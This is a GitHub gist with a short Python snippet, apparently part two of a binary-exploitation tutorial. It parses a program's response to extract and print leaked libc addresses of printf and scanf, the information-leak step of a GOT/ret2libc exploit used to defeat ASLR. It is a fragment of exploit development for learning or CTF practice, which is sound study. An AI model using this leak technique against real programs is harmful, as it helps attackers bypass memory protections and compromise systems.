Skip to content

Instantly share code, notes, and snippets.

@ShivamShrirao

ShivamShrirao/got_leak_part2.py

Created April 14, 2020 00:48
Show Gist options
  • Save ShivamShrirao/2ec33016f687f65659f43cbf491db202 to your computer and use it in GitHub Desktop.
Save ShivamShrirao/2ec33016f687f65659f43cbf491db202 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
got_leak_part2.py
leaks = resp.split(b"received.")[1]
printf_libc = u64(leaks[:6].ljust(8,b'\x00')) # first 6 bytes are printf address. Pad with '\x00' to unpack.
scanf_libc = u64(leaks[6:12].ljust(8,b'\x00')) # next 6 bytes are __isoc99_scanf address. Pad with '\x00' to unpack.
print("[*] Leaked libc printf:\t\t",hex(printf_libc)) # Print in hex format.
print("[*] Leaked libc __isoc99_scanf:\t",hex(scanf_libc))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment